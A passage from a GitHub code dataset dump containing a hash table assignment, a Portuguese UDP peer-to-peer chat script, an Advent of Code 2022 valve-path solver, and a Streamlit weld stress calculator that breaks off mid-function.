value = key_value\n list_of_keys.append(key)\n\n return list_of_keys\n\n @staticmethod\n def get_index(data_list, key):\n result = sum([ord(a_character) for a_character in key])\n return result % len(data_list)\n\n def get_valid_index(data_list, key):\n idx = BasicHashTable.get_index(data_list, key)\n\n while True:\n key_value = data_list[idx]\n if key_value is None:\n return idx\n\n k, v = key_value\n if key == k:\n return idx\n\n idx += 1\n if idx == len(data_list):\n idx = 0\n\n\n# Main\n\nif __name__ == '__main__':\n # QUESTION 1: Create a Python list of size MAX_HASH_TABLE_SIZE, with all the\n # values set to None.\n data_list = MAX_HASH_TABLE_SIZE*[None]\n print(len(data_list) == 4098)\n print(data_list[99] == None)\n\n # QUESTION 2: Complete the get_index function below which implements the\n # hashing algorithm described above.\n print(BasicHashTable.get_index(data_list, '') == 0)\n print(BasicHashTable.get_index(data_list, 'Aakash') == 585)\n print(BasicHashTable.get_index(data_list, 'Don O Leary') == 941)\n\n # QUESTION 3: Complete the hash table implementation below by following the\n # instructions in the comments.\n basic_table = BasicHashTable(max_size=1024)\n print(len(basic_table.data_list) == 1024)\n\n basic_table.insert('Aakash', '9999999999')\n basic_table.insert('Hemanth', '8888888888')\n print(basic_table.find('Hemanth') == '8888888888')\n\n basic_table.update('Aakash', '7777777777')\n print(basic_table.find('Aakash') == '7777777777')\n\n print(basic_table.list_all() == ['Aakash', 'Hemanth'])\n\n # QUESTION 4: Complete the function get_valid_index below by following the\n # instructions in the comments.\n data_list2 = [None] * MAX_HASH_TABLE_SIZE\n print(BasicHashTable.get_valid_index(data_list2, 'listen') == 655)\n\n data_list2[BasicHashTable.get_index(data_list2, 'listen')] = ('listen', 99)\n print(BasicHashTable.get_valid_index(data_list2, 'silent') == 656)\n","repo_name":"thiagoneye/course-algorithms","sub_path":"02_02-assignment/script01.py","file_name":"script01.py","file_ext":"py","file_size_in_byte":3230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1785767854","text":"'''\n Programação com Sockets UDP\n\n Descrição: chat P2P que possibilita os clientes trocarem mensagens entre si. \n\n Formato das mesagens:\n\n - tipo de mensagem [1 byte]\n - tamanho apelido (tam_apl) [1 byte]\n - apelido [tam_apl (1 a 64) bytes ]\n - tamanho mensagem (tam_msg) [1 byte]\n - mensagem [tam_msg bytes]\n\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n | | | | | |\n | Message Type | Nick Size | Nick (Nick Size bytes) | Message Size | Message (Message Size bytes) |\n | 1 byte | 1 byte | 1 a 64 bytes | 1 byte | 0 a 255 bytes |\n | | | | | |\n +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n\n Os tipos de mensagem são:\n 1: mensagem normal\n 2: emoji\n 3: URL\n 4: ECHO (envia e recebe a mesma mensagem para indicar que usuário está ativo).\n\n Autores: Caio José Cintra, Guilherme Del Rio\n Data de criação: 24/09/2022\n Data de modificação: 27/09/2022\n\n'''\n\nimport threading\nimport socket\nimport sys\nimport emoji\n\n# IP da máquina conectada, por padrão 127.0.0.1\nip = \"127.0.0.1\"\n\n# Portas usadas para conexão\nportas = [6666, 3333]\n\n# Criação de socket\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\ndef cria_cabecalho(tipo_mensagem, nick, mensagem): # Função que cria o cabeçalho, ela recebe o timpo da mensagem, o nome do usuário e a mensagem enviada\n\n # Converte o tipo da mensagem\n tipo_mensagem = tipo_mensagem.to_bytes(1, 'big')\n\n # Converte o nome do usuário e obtem o tamanho \n nick = nick.encode('utf-8')\n tamanho_nick = len(nick).to_bytes(1, 'big')\n\n # Converte a mensagem e obtem o tamanho\n mensagem = mensagem.encode('utf-8')\n tamanho_mensagem = len(mensagem).to_bytes(1, 'big')\n\n # Retorna o cabeçalho preenchido\n return tipo_mensagem + tamanho_nick + nick + tamanho_mensagem + mensagem\n\n\ndef envia(ip, porta): # Função para enviar mensagens, recebe o ip e a porta destino\n\n addr = ip, porta\n\n # Imprime uma tabela com os números de cada tipo de mensagem\n divisor = \"\\n|------------------------------------------------------------------------------|\\n\"\n print(divisor, \"1: mensagem normal\", divisor, \"2: emoji\", divisor, \"3: URL\", divisor, \"4: ECHO (envia e recebe a mesma mensagem para indicar que usuário está ativo)\", divisor)\n\n # Laço onde pede para o usuário digitar a mensagem\n while(True):\n msg = input('Mensagem (index:mensagem) >> ')\n try: \n # A mensagem deve ter a divisão 'tipo:mensagem'\n index, mensagem = msg.split(':', 1)\n \n # Mensagem muito longa (Acima de 255 caracteres)\n if(len(mensagem) > 255):\n print('ERRO: O tamanho máximo da mensagem foi ultrapassado!')\n continue\n \n # Caso tudo ocorra certo o cabeçalho é criado\n cabecalho = cria_cabecalho(int(index), apelido, mensagem)\n except:\n # Caso contrário, uma mensagem de erro é exibida\n print(\"ERRO: Formato de mensagem inválido!\")\n continue\n \n # Envia o cabeçalho gerado para o endereço obtido\n sock.sendto(cabecalho, addr)\n \n\n\ndef recebe(ip, porta): # Função para receber a mensagem enviada, recebe por parâmetro o ip e a porta\n addr = ip, porta\n sock.bind((ip, int(porta)))\n\n # Laço onde o usuário continuará pordendo receber mensagens\n while(True):\n msg, addr = sock.recvfrom(1024)\n # print (\"msg recebida:\", msg, end=' | ')\n\n # Obtêm os dados do cabeçalho recebido\n tipo_mensagem = int.from_bytes(msg[:1], 'big')\n # print(\"tipo_mensagem:\", tipo_mensagem, end=' | ')\n\n tamanho_nick = int.from_bytes(msg[1:2], 'big')\n # print(\"tamanho_nick:\", tamanho_nick, end=' | ')\n\n nick = msg[2:2+int(tamanho_nick)].decode('utf-8')\n # print(\"nick:\", nick, end=' | ')\n\n tamanho_mensagem = int.from_bytes(msg[2+int(tamanho_nick):3+int(tamanho_nick)], 'big')\n # print(\"tamanho_mensagem:\", tamanho_mensagem)\n\n # Forma uma mensagem para o usuário poder visualizar\n mensagem = msg[3+int(tamanho_nick):].decode('utf-8')\n\n # Mensagem tipo ECHO retorna o usuário para quem enviou\n if(tipo_mensagem == 4):\n msg = cria_cabecalho(1, apelido, mensagem)\n sock.sendto(msg, addr)\n\n # Mensagem tipo emoji converte usando a função emojize para que o emoji apareça da forma correta\n if(tipo_mensagem == 2):\n print(nick, \":\", emoji.emojize(mensagem))\n continue\n \n # Imprime a mensagem formatada\n print(nick,\":\", mensagem)\n\n\ndef main():\n \n index = sys.argv[1]\n \n global apelido\n\n # Laço pedindo um nome de usuário até ele ser válido\n while(True):\n apelido = input(\"Escreva seu apelido >> \")\n \n # Nome muito grande\n if (len(apelido.encode('utf-8')) > 255):\n print('ERRO: O tamanho máximo do apelido foi ultrapassado!')\n\n # Sai do laço caso nome válido \n else:\n break\n\n\n try:\n # Cria threads para ambos os usuários\n if(index == \"1\"):\n threading.Thread(target=recebe, args=(ip, portas[1])).start()\n threading.Thread(target=envia, args=(ip, portas[0])).start()\n # Verifica se o id do cliente é 2\n elif(index == \"2\"):\n threading.Thread(target=recebe, args=(ip, portas[0])).start()\n threading.Thread(target=envia, args=(ip, portas[1])).start()\n except:\n print(\"ERRO: Erro ao criar thread!\")\n\nmain()","repo_name":"delriog/Sistemas-Distribuidos","sub_path":"UDP/Questão_01/chat.py","file_name":"chat.py","file_ext":"py","file_size_in_byte":5912,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7133288974","text":"#answer = 1638\n\nfrom dataclasses import dataclass, field\nfrom copy import deepcopy\n\n\n#filename = 'sample01.txt'\nfilename = 'input.txt'\nmaxtime = 30\n\n\n@dataclass\nclass Valve:\n id: str = field(default=\"\")\n rate: int = field(default=0)\n connections: list[str] = field(default=lambda: [])\n #maxamount: int = field(default=0)\n amount: int = field(default=0)\n ison: bool = field(default=False)\n timeon: int = field(default=0)\n\nvalvesmaster: dict[str, Valve] = {}\nalldistances: dict[str, dict[str, int]] = {}\n\n\n@dataclass()\nclass State:\n time: int = field(default=0)\n location: str = field(default=\"AA\")\n valves: dict[str, Valve] = field(default=lambda: {})\n comefrom: str = field(default=\"AA\")\n\n def __hash__(self):\n return hash((self.location, tuple([(v.id, v.amount) for v in self.valves.values()]))) #self.time, \n\n def __eq__(self, other): #assumes same ids\n if not isinstance(other, type(self)): return NotImplemented\n #if self.time != other.time:\n # return False\n if self.location != other.location:\n return False\n else:\n for vid in self.valves:\n if self.valves[vid].amount != other.valves[vid].amount:\n return False\n return True\n\n\nwith open(filename, \"r\") as f:\n for line in f:\n line = line.strip().split()\n id = line[1]\n rate = int(line[4].split(\"=\")[1][:-1])\n connections = [x[:-1] for x in line[9:-1]]\n connections.append(line[-1])\n v = Valve(id, rate, connections)\n #print(v)\n valvesmaster[id] = v\n\n\ndef distances(source:str) -> dict[str,int]:\n dist = {vid: 9999999 for vid in valvesmaster}\n prev = {vid: None for vid in valvesmaster}\n Q = [vid for vid in valvesmaster]\n dist[source] = 0\n\n while len(Q) > 0:\n Q.sort(key=lambda a: dist[a])\n u = Q.pop(0)\n\n for v in valvesmaster[u].connections:\n if v in Q:\n alt = dist[u] + 1\n if alt < dist[v]:\n dist[v] = alt\n prev[v] = u\n return dist\n\n\n#print(alldistances)\n#exit(0)\n\n\ndef search(dfs=True):\n max = 0\n queue: list[State] = []\n explored: list[set[State]] = [set() for _ in range(maxtime+1)]\n root = State(time=maxtime, location=\"AA\", valves=deepcopy(valvesmaster))\n queue.append(root)\n explored[root.time].add(root)\n while len(queue) > 0:\n #print(\"DFS\", dfs)\n state = queue.pop() if dfs else queue.pop(0)\n currentvalue = calc(state)\n if currentvalue > max:\n max = currentvalue\n print(\"Max improved\", max)\n print(state)\n print(\"Best estimate\", best(state))\n\n if state.time == 1:\n #print(\"At the end\")\n continue\n\n if max >= best(state):\n continue\n\n #descend into on/off\n if not state.valves[state.location].ison and state.valves[state.location].rate > 0:\n s: State = deepcopy(state)\n s.time -= 1\n s.valves[state.location].ison = True\n s.valves[state.location].timeon = maxtime - s.time\n s.valves[state.location].amount = s.time * s.valves[state.location].rate\n s.comefrom = \"\"\n if not hasexplored(s, explored): #s not in explored[s.time]:\n explored[s.time].add(s)\n queue.append(s)\n #print(\"Adding valve on/off\")\n\n #try greedy\n testconnections = sorted(alldistances[state.location].keys(), key=lambda k: state.valves[k].rate * (state.time-alldistances[state.location][k]) * (1 if state.valves[k].ison else 0))\n if not dfs:\n testconnections.reverse()\n \n for connection in state.valves[state.location].connections: #testconnections: #alldistances[state.location]:\n if connection == state.comefrom:\n continue\n s: State = deepcopy(state)\n s.time -= 1 #alldistances[state.location][connection]\n if s.time < 2:\n continue\n s.comefrom = state.location\n s.location = connection\n if not hasexplored(s, explored): # not in explored[s.time]:\n explored[s.time].add(s)\n queue.append(s)\n #print(\"Exploring\", connection)\n\ndef hasexplored(state: State, explored: list[set[State]]) -> bool:\n for t in range(state.time, maxtime):\n if state in explored[t]:\n return True\n return False\n\ndef calc(state: State) -> int:\n total = 0\n for valve in state.valves.values():\n total += valve.amount\n return total\n\ndef best(state: State) -> int:\n total = 0\n for valve in state.valves.values():\n if valve.ison:\n total += valve.amount\n else:\n if valve.rate > 0:\n timeleftaftermove = state.time - 1 - alldistances[state.location][valve.id]\n if timeleftaftermove > 0:\n total += valve.rate * timeleftaftermove\n #total += valve.rate*state.time\n #s.valves[state.location].amount = s.time * s.valves[state.location].rate\n return total\n\n\nfor vid in valvesmaster:\n alldistances[vid] = {k:d for (k,d) in distances(vid).items() if valvesmaster[k].rate>0}\n#for vid in valvesmaster:\n# valvesmaster[vid].connections = [] #just to make sure we don't use these accidentally\n#valvesmaster = {k:v for (k,v) in valvesmaster.items() if (v.rate != 0 or k == \"AA\")}\n\nprint(alldistances)\n#exit(0)\nsearch(dfs=True)\n\n#root = State(time=30, location=\"AA\", valves=deepcopy(valvesmaster))\n#print(root)\n#rc = deepcopy(root)\n#rc.valves[\"AA\"].amount = 500\n#print(root)\n#print(rc)","repo_name":"AdamFoster/AdventOfCode2022","sub_path":"day16/day16part1.py","file_name":"day16part1.py","file_ext":"py","file_size_in_byte":5730,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8947575434","text":"import pandas as pd\nimport altair as alt\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import (AutoMinorLocator, MultipleLocator)\nfrom io import StringIO\nimport streamlit as st\n\n\n@st.cache_data\ndef convert_df(df):\n # IMPORTANT: Cache the conversion to prevent computation on every rerun\n return df.to_csv().encode('utf-8')\n\n\ndef decode(data, calc_mode):\n appending = False\n list = []\n results = []\n\n for line in data:\n if not appending:\n if \"no.\" in line:\n list = []\n appending = True\n else:\n if len(line.split()) < 2:\n appending = False\n results.append(list)\n else:\n list.append(line)\n if appending:\n appending = False\n results.append(list)\n\n results1 = []\n for list in results:\n list1 = []\n for line in list:\n list1.append([float(x) for x in line.split()])\n results1.append(list1)\n\n df_N = pd.DataFrame(results1[0], columns=['cut', 'quad', 'seg', 'x', 'y', 'z', 'N'])\n if calc_mode == 'Max per weld':\n df_N['N'] = df_N['N'].abs()\n df_N_max = df_N.groupby(['cut', 'quad']).max().reset_index()\n df_N_mean = df_N.groupby(['cut', 'quad']).mean().reset_index()\n df_N = df_N_mean\n df_N['N'] = df_N_max['N']\n\n df_M = pd.DataFrame(results1[1], columns=['cut', 'quad', 'seg', 'x', 'y', 'z', 'M'])\n if calc_mode == 'Max per weld':\n df_M['M'] = df_M['M'].abs()\n df_M = df_M.groupby(['cut', 'quad']).max().reset_index()\n\n df_Vt = pd.DataFrame(results1[2], columns=['cut', 'quad', 'seg', 'x', 'y', 'z', 'Vt'])\n if calc_mode == 'Max per weld':\n df_Vt['Vt'] = df_Vt['Vt'].abs()\n df_Vt = df_Vt.groupby(['cut', 'quad']).max().reset_index()\n\n df_Vl = pd.DataFrame(results1[3], columns=['cut', 'quad', 'seg', 'x', 'y', 'z', 'Vl'])\n if calc_mode == 'Max per weld':\n df_Vl['Vl'] = df_Vl['Vl'].abs()\n df_Vl = df_Vl.groupby(['cut', 'quad']).max().reset_index()\n\n df = pd.DataFrame()\n\n df['cut'] = df_N['cut']\n df['x'] = df_N['x']\n df['y'] = df_N['y']\n df['z'] = df_N['z']\n df['N'] = df_N['N']\n df['M'] = df_M['M']\n df['Vt'] = df_Vt['Vt']\n df['Vl'] = df_Vl['Vl']\n return df\n\n\ndef get_forces(mode, data, calc_mode):\n if mode == 'From Wingraf':\n if data is not None:\n stringio = StringIO(data.getvalue().decode(\"utf-8\"))\n read_data = stringio.readlines()\n forces = decode(read_data, calc_mode)\n\n cut_list = forces['cut'].tolist()\n cut_list2 = []\n for item in cut_list:\n item2 = str(item)\n item3 = item2.split(\".\")\n item4 = item3[0]\n cut_list2.append(item4)\n forces['cut'] = cut_list2\n return forces\n elif mode == 'From Excel':\n if data is not None:\n #TODO\n return\n\n\ndef get_distances(df_cut):\n list_x = df_cut['x'].values.tolist()\n list_y = df_cut['y'].values.tolist()\n list_z = df_cut['z'].values.tolist()\n list_d = []\n for i in range(len(list_x)):\n list_d.append(((list_x[i] - list_x[0]) ** 2 +\n (list_y[i] - list_y[0]) ** 2 +\n (list_z[i] - list_z[0]) ** 2) ** 0.5)\n max_d = max(list_d)\n list_d = [x / max_d for x in list_d]\n return list_d\n\n\ndef get_distances_per_weld(df):\n df_sort = df.sort_values(by=['x'])\n x0 = df_sort['x'].values.tolist()[0]\n y0 = df_sort['y'].values.tolist()[0]\n z0 = df_sort['z'].values.tolist()[0]\n list_x = df['x'].values.tolist()\n list_y = df['y'].values.tolist()\n list_z = df['z'].values.tolist()\n list_d = []\n for i in range(len(list_x)):\n list_d.append(((list_x[i] - x0) ** 2 +\n (list_y[i] - y0) ** 2 +\n (list_z[i] - z0) ** 2) ** 0.5)\n max_d = max(list_d)\n list_d = [x / max_d for x in list_d]\n return list_d\n\n\ndef calculate(df):\n list_d = df['d'].values.tolist()\n w_type = df['w_type'].values.tolist()\n tpl1 = df['tpl1'].values.tolist()\n tpl2 = df['tpl2'].values.tolist()\n a = df['a'].values.tolist()\n fw_vm = df['fw_vm'].values.tolist()\n fw_perp = df['fw_perp'].values.tolist()\n N = df['N'].abs().values.tolist()\n M = df['M'].abs().values.tolist()\n Vt = df['Vt'].abs().values.tolist()\n Vl = df['Vl'].abs().values.tolist()\n\n # eccentricity (mm)\n e = []\n for x in range(len(list_d)):\n if w_type[x] == 'single fillet':\n e.append(tpl1[x]/2 + a[x]/2)\n elif w_type[x] == 'single partial pen':\n e.append(tpl1[x]/2 - a[x]/2)\n else:\n e.append(0)\n df.loc[:, 'e'] = e\n\n # M due to e (kNm/m)\n M_e = []\n for x in range(len(list_d)):\n M_e.append(N[x] * e[x] / 1000)\n df.loc[:, 'M_e'] = M_e\n\n # Sigma_perp_N (MPa)\n sig_perp_N = []\n for x in range(len(list_d)):\n if w_type[x] == 'double fillet':\n sig_perp_N.append(0.707 * N[x] / (2 * a[x]))\n elif w_type[x] == 'single fillet':\n sig_perp_N.append(0.707 * N[x] / a[x])\n elif w_type[x] == 'double partial pen':\n sig_perp_N.append(N[x] / (2 * a[x]))\n elif w_type[x] == 'single partial pen':\n sig_perp_N.append(N[x] / (a[x]))\n elif w_type[x] == 'full pen':\n sig_perp_N.append(N[x] / (tpl1[x]))\n df.loc[:, 'sig_perp_N (MPa)'] = sig_perp_N\n\n # Sigma_perp_M (MPa)\n sig_perp_M = []\n for x in range(len(list_d)):\n if w_type[x] == 'double fillet':\n sig_perp_M.append(0.707 * M[x] * 1000 / ((tpl1[x] + 2 * (a[x]/(0.707*3))) * a[x]))\n elif w_type[x] == 'single fillet':\n sig_perp_M.append(0.707 * M[x] * 1000 / (a[x]**2 / 6))\n elif w_type[x] == 'double partial pen':\n sig_perp_M.append(M[x] * 1000 / ((tpl1[x]-a[x]) * a[x]))\n elif w_type[x] == 'single partial pen':\n sig_perp_M.append(M[x] * 1000 / (a[x]**2 / 6))\n elif w_type[x] == 'full pen':\n sig_perp_M.append(M[x] * 1000 / (tpl1[x]**2 / 6))\n df.loc[:, 'sig_perp_M (MPa)'] = sig_perp_M\n\n # Sigma_perp_Me (MPa)\n sig_perp_Me = []\n for x in range(len(list_d)):\n if w_type[x] == 'double fillet':\n sig_perp_Me.append(0.707 * M_e[x] * 1000 / ((tpl1[x] + 2 * (a[x]/(0.707*3))) * a[x]))\n elif w_type[x] == 'single fillet':\n sig_perp_Me.append(0.707 * M_e[x] * 1000 / (a[x] ** 2 / 6))\n elif w_type[x] == 'double partial pen':\n sig_perp_Me.append(M_e[x] * 1000 / ((tpl1[x] - a[x]) * a[x]))\n elif w_type[x] == 'single partial pen':\n sig_perp_Me.append(M_e[x] * 1000 / (a[x] ** 2 / 6))\n elif w_type[x] == 'full pen':\n sig_perp_Me.append(M_e[x] * 1000 / (tpl1[x] ** 2 / 6))\n df.loc[:, 'sig_perp_Me (MPa)'] = sig_perp_Me\n\n # Sigma_perp_Vt (MPa)\n sig_perp_Vt = []\n for x in range(len(list_d)):\n if w_type[x] == 'double fillet':\n sig_perp_Vt.append(0.707 * Vt[x] / (2 * a[x]))\n elif w_type[x] == 'single fillet':\n sig_perp_Vt.append(0.707 * Vt[x] / a[x])\n else:\n sig_perp_Vt.append(0)\n df.loc[:, 'sig_perp_Vt (MPa)'] = sig_perp_Vt\n\n # Sigma_perp (MPa)\n sig_perp = []\n for x in range(len(list_d)):\n sig_perp.append(sig_perp_N[x] + sig_perp_M[x] + sig_perp_Me[x] + sig_perp_Vt[x])\n df.loc[:, 'sig_perp (MPa)'] = sig_perp\n\n # Tau_perp (MPa)\n tau_perp = []\n for x in range(len(list_d)):\n if w_type[x] == 'double fillet':\n tau_perp.append(sig_perp[x])\n elif w_type[x] == 'single fillet':\n tau_perp.append(sig_perp[x])\n elif w_type[x] == 'double partial pen':\n tau_perp.append(Vt[x] / (2 * a[x]))\n elif w_type[x] == 'single partial pen':\n tau_perp.append(Vt[x] / (a[x]))\n elif w_type[x] == 'full pen':\n tau_perp.append(Vt[x] / tpl1[x])\n df.loc[:, 'tau_perp (MPa)'] = tau_perp\n\n # Tau_long (MPa)\n tau_long = []\n for x in range(len(list_d)):\n if w_type[x] == 'double fillet':\n tau_long.append(Vl[x] / (2 * a[x]))\n elif w_type[x] == 'single fillet':\n tau_long.append(Vl[x] / (a[x]))\n elif w_type[x] == 'double partial pen':\n tau_long.append(Vl[x] / (2 * a[x]))\n elif w_type[x] == 'single partial pen':\n tau_long.append(Vl[x] / (a[x]))\n elif w_type[x] == 'full pen':\n tau_long.append(Vl[x] / (tpl1[x]))\n df.loc[:, 'tau_long (MPa)'] = tau_long\n\n # VM stress (MPa)\n sig_vm = []\n for x in range(len(list_d)):\n sig_vm.append((sig_perp[x]**2 + 3 * (tau_perp[x]**2 + tau_long[x]**2)) ** 0.5)\n df.loc[:, 'sig_vm (MPa)'] = sig_vm\n\n # uc perp (-)\n uc_perp = []\n for x in range(len(list_d)):\n uc_perp.append(sig_perp[x] / fw_perp[x])\n df.loc[:, 'uc_perp (-)'] = uc_perp\n\n # uc vm (-)\n uc_vm = []\n for x in range(len(list_d)):\n uc_vm.append(sig_vm[x] / fw_vm[x])\n df.loc[:, 'uc_vm (-)'] = uc_vm\n\n # uc (-)\n uc = []\n for x in range(len(list_d)):\n uc.append(max(uc_perp[x], uc_vm[x]))\n df.loc[:, 'uc (-)'] = uc\n\n return df\n\n\ndef calc_req_a(df, weld):\n df_req_a = df.copy().reset_index()\n df_req_a['a'] = 3\n df_req_a = calculate(df_req_a)\n\n while df_req_a['uc (-)'].max() > 1:\n for i in range(len(df_req_a['d'].values.tolist())):\n if df_req_a['uc (-)'][i] > 1:\n df_req_a['a'][i] += 1\n df_req_a = calculate(df_req_a)\n return df_req_a\n\n\ndef make_plot(list_of_df, list_of_df_req, display_cut, data_to_display, show_req):\n if 'uc' in data_to_display:\n y_limit = 1\n else:\n y_limit = 500\n\n plt.figure(figsize=(14, 8))\n ax1 = plt.gca()\n ax2 = ax1.twinx()\n ax1.set_ylim(0, 40)\n ax2.set_ylim(0, y_limit)\n ax1.set_xlim(0, 1)\n\n ax1.xaxis.set_major_locator(MultipleLocator(0.05))\n ax1.yaxis.set_major_locator(MultipleLocator(5))\n ax1.yaxis.set_minor_locator(MultipleLocator(1))\n ax2.yaxis.set_major_locator(MultipleLocator(0.05*y_limit))\n ax1.grid(which='major', color='#CCCCCC', linestyle=':')\n ax2.grid(which='major', color='#CCCCCC', linestyle='--')\n ax1.grid(which='minor', color='#CCCCCC', linestyle=':')\n\n ax1.plot(list_of_df[0]['d'][:], list_of_df[0]['tpl1'][:], color='blue', linestyle='--', linewidth=1,\n label=f't welded plate (mm)', marker='.')\n ax1.plot(list_of_df[0]['d'][:], list_of_df[0]['tpl2'][:], color='green', linestyle='--', linewidth=1,\n label=f't receiver plate (mm)', marker='.')\n\n if show_req == 'Show required weld size':\n for i in range(len(display_cut)):\n if display_cut[i]:\n df = list_of_df_req[i]\n ax1.plot(df['d'][:], df['a'][:], color='red', label='weld size (mm)',\n marker='.')\n ax2.plot(df['d'][:], df[data_to_display][:], color='black', linewidth=1,\n label=f'{data_to_display} cut {df[\"cut\"].values[0]}', marker='.')\n else:\n ax1.plot(list_of_df[0]['d'][:], list_of_df[0]['a'][:], color='red', label='weld size (mm)', marker='.')\n for i in range(len(display_cut)):\n if display_cut[i]:\n df = list_of_df[i]\n ax2.plot(df['d'][:], df[data_to_display][:], color='black', linewidth=1,\n label=f'{data_to_display} cut {df[\"cut\"].values[0]}', marker='.')\n\n ax1.set_xlabel('x (m)')\n ax1.set_ylabel('(mm)')\n ax2.set_ylabel(data_to_display)\n ax1.legend(loc='upper left', bbox_to_anchor=(0.1, 1), framealpha=1, facecolor='white')\n ax2.legend(loc='best', bbox_to_anchor=(0.9, 1), framealpha=1, facecolor='white')\n\n ax1.set_axisbelow(True)\n ax2.set_axisbelow(True)\n\n return plt\n\n\ndef make_plot_per_weld(df, df_req_a, data_to_display, show_req):\n if 'uc' in data_to_display:\n y_limit = 1\n else:\n y_limit = 500\n\n plt.figure(figsize=(14, 8))\n ax1 = plt.gca()\n ax2 = ax1.twinx()\n ax1.set_ylim(0, 40)\n ax2.set_ylim(0, y_limit)\n ax1.set_xlim(0, 1)\n\n ax1.xaxis.set_major_locator(MultipleLocator(0.05))\n ax1.yaxis.set_major_locator(MultipleLocator(5))\n ax1.yaxis.set_minor_locator(MultipleLocator(1))\n ax2.yaxis.set_major_locator(MultipleLocator(0.05*y_limit))\n ax1.grid(which='major', color='#CCCCCC', linestyle=':')\n ax2.grid(which='major', color='#CCCCCC', linestyle='--')\n ax1.grid(which='minor', color='#CCCCCC', linestyle=':')\n\n ax1.plot(df['d'][:], df['tpl1'][:], color='blue', linestyle='--', linewidth=1,\n label=f't welded plate (mm)', marker='.')\n ax1.plot(df['d'][:], df['tpl2'][:], color='green', linestyle='--', linewidth=1,\n label=f't receiver plate (mm)', marker='.')\n\n if show_req == 'Show required weld size':\n ax1.plot(df['d'][:], df_req_a['a'][:], color='red', label='required weld size (mm)', marker='.')\n ax2.plot(df['d'][:], df_req_a[data_to_display][:], color='black', linewidth=1, label=f'{data_to_display}', marker='.')\n else:\n ax1.plot(df['d'][:], df['a'][:], color='red', label='weld size (mm)', marker='.')\n ax2.plot(df['d'][:], df[data_to_display][:], color='black', linewidth=1, label=f'{data_to_display}', marker='.')\n\n ax1.set_xlabel('x (m)')\n ax1.set_ylabel('(mm)')\n ax2.set_ylabel(data_to_display)\n ax1.legend(loc='upper left', framealpha=1, facecolor='white')\n ax2.legend(loc='best', framealpha=1, facecolor='white')\n\n ax1.set_axisbelow(True)\n ax2.set_axisbelow(True)\n\n return plt\n\n\ndef calc_graph(forces, weld, calc_mode):\n if forces is None:\n return\n if calc_mode == 'Values along weld':\n forces_by_cut = forces.groupby('cut').first().reset_index()\n list_of_cuts = forces_by_cut['cut'].values.tolist()\n list_of_df = []\n for cut in list_of_cuts:\n df_cut = forces[forces['cut'] == cut]\n list_distances = get_distances(df_cut)\n df_cut['d'] = list_distances\n df_cut = df_cut.sort_values(by=['d']).reset_index()\n if isinstance(weld, pd.DataFrame):\n df_cut['w_type'] = ''\n df_cut['tpl1'] = 0\n df_cut['tpl2'] = 0\n df_cut['a'] = 0\n df_cut['beta_w'] = 0\n df_cut['fu'] = 0\n df_cut['g_M2'] = 0\n df_cut['fw_vm'] = 0\n df_cut['fw_perp'] = 0\n for j in range(len(list_distances)):\n checking = True\n i = 0\n chosen_i = 0\n while checking:\n if list_distances[j] <= weld['x'][i]:\n chosen_i = i\n checking = False\n else:\n i += 1\n df_cut['w_type'][j] = weld['w_type'][chosen_i]\n df_cut['tpl1'][j] = weld['tpl1'][chosen_i]\n df_cut['tpl2'][j] = weld['tpl2'][chosen_i]\n df_cut['a'][j] = weld['a'][chosen_i]\n df_cut['beta_w'][j] = weld['beta_w'][chosen_i]\n df_cut['fu'][j] = weld['fu'][chosen_i]\n df_cut['g_M2'][j] = weld['g_M2'][chosen_i]\n df_cut['fw_vm'][j] = weld['fw_vm'][chosen_i]\n df_cut['fw_perp'][j] = weld['fw_perp'][chosen_i]\n else:\n df_cut['w_type'] = weld['w_type']\n df_cut['tpl1'] = weld['tpl1']\n df_cut['tpl2'] = weld['tpl2']\n df_cut['a'] = weld['a']\n df_cut['beta_w'] = weld['beta_w']\n df_cut['fu'] = weld['fu']\n df_cut['g_M2'] = weld['g_M2']\n df_cut['fw_vm'] = weld['fw_vm']\n df_cut['fw_perp'] = weld['fw_perp']\n\n calc_cut = calculate(df_cut)\n list_of_df.append(calc_cut)\n elif calc_mode == 'Max per weld':\n forces_by_cut = forces.groupby('cut').first().reset_index()\n list_of_cuts = forces_by_cut['cut'].values.tolist()\n list_of_df = []\n df_mean = forces.groupby('cut').mean(numeric_only=True)\n df_max = forces.groupby(['cut']).max()\n df_new = df_max\n df_new['x'] = df_mean['x']\n df_new['y'] = df_mean['y']\n df_new['z'] = df_mean['z']\n list_distances = get_distances_per_weld(df_new)\n df_new['d'] = list_distances\n df_cut = df_new.sort_values(by=['d']).reset_index()\n\n df_cut['w_type'] = weld['w_type']\n df_cut['tpl1'] = weld['tpl1']\n df_cut['tpl2'] = weld['tpl2']\n df_cut['a'] = weld['a']\n df_cut['beta_w'] = weld['beta_w']\n df_cut['fu'] = weld['fu']\n df_cut['g_M2'] = weld['g_M2']\n df_cut['fw_vm'] = weld['fw_vm']\n df_cut['fw_perp'] = weld['fw_perp']\n\n calc_cut = calculate(df_cut)\n list_of_df.append(calc_cut)\n\n st.markdown(\"Select what to display\")\n col1, col2 = st.columns(2)\n with col1:\n data_to_display = st.selectbox(\n 'Select what to display',\n ('uc (-)', 'uc_vm (-)', 'uc_perp (-)', 'sig_vm (MPa)', 'tau_long (MPa)', 'tau_perp (MPa)',\n 'sig_perp (MPa)', 'sig_perp_Vt (MPa)', 'sig_perp_Me (MPa)', 'sig_perp_N (MPa)'),\n label_visibility=\"collapsed\", key=\"data_to_display\")\n with col2:\n show_req = st.selectbox(\n 'Show required',\n ('Show required weld size', 'Show input weld size'),\n label_visibility=\"collapsed\", key=\"show_req\")\n\n if calc_mode == 'Max per weld':\n list_of_df_req = []\n for df in list_of_df:\n df_req_a = calc_req_a(df, weld)\n list_of_df_req.append(df_req_a)\n\n df = pd.concat(list_of_df)\n df_req_a = pd.concat(list_of_df_req)\n\n df_mean = df.groupby('cut').mean(numeric_only=True)\n df_max = 